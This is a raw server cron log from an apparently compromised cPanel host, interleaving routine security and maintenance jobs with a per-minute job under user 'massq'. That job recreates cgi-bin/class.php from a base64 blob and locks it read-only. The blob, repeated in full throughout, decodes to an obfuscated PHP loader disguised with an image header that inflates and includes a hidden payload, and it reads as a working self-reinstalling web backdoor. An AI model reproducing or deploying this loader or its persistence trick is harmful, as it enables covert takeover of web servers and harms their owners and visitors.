Sep 12 16:05:01 server CROND[31999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:05:01 server CROND[31998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:05:01 server CROND[31995]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:06:01 server CROND[422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:06:01 server CROND[423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:06:01 server CROND[424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:07:01 server CROND[877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:07:01 server CROND[878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:07:01 server CROND[876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:08:01 server CROND[1331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:08:01 server CROND[1333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:08:01 server CROND[1334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:09:01 server CROND[1701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:09:01 server CROND[1702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:09:01 server CROND[1703]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 16:09:01 server CROND[1704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:10:01 server CROND[2215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:10:01 server CROND[2216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:10:01 server CROND[2220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:10:01 server CROND[2225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:10:01 server CROND[2228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:10:01 server CROND[2229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:10:01 server CROND[2227]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:10:01 server CROND[2233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:11:01 server CROND[3067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:11:01 server CROND[3068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:11:01 server CROND[3069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:12:01 server CROND[3445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:12:01 server CROND[3446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:12:01 server CROND[3447]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:12:01 server CROND[3449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:13:01 server CROND[3821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:13:01 server CROND[3822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:13:01 server CROND[3823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:14:01 server CROND[4203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:14:01 server CROND[4204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:14:01 server CROND[4205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:15:01 server CROND[4676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:15:01 server CROND[4678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:15:01 server CROND[4680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:15:01 server CROND[4681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:15:01 server CROND[4684]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 16:15:01 server CROND[4683]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 16:15:01 server CROND[4685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:15:01 server CROND[4686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:15:01 server CROND[4689]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:16:01 server CROND[5578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:16:01 server CROND[5579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:16:01 server CROND[5582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:17:01 server CROND[5941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:17:01 server CROND[5942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
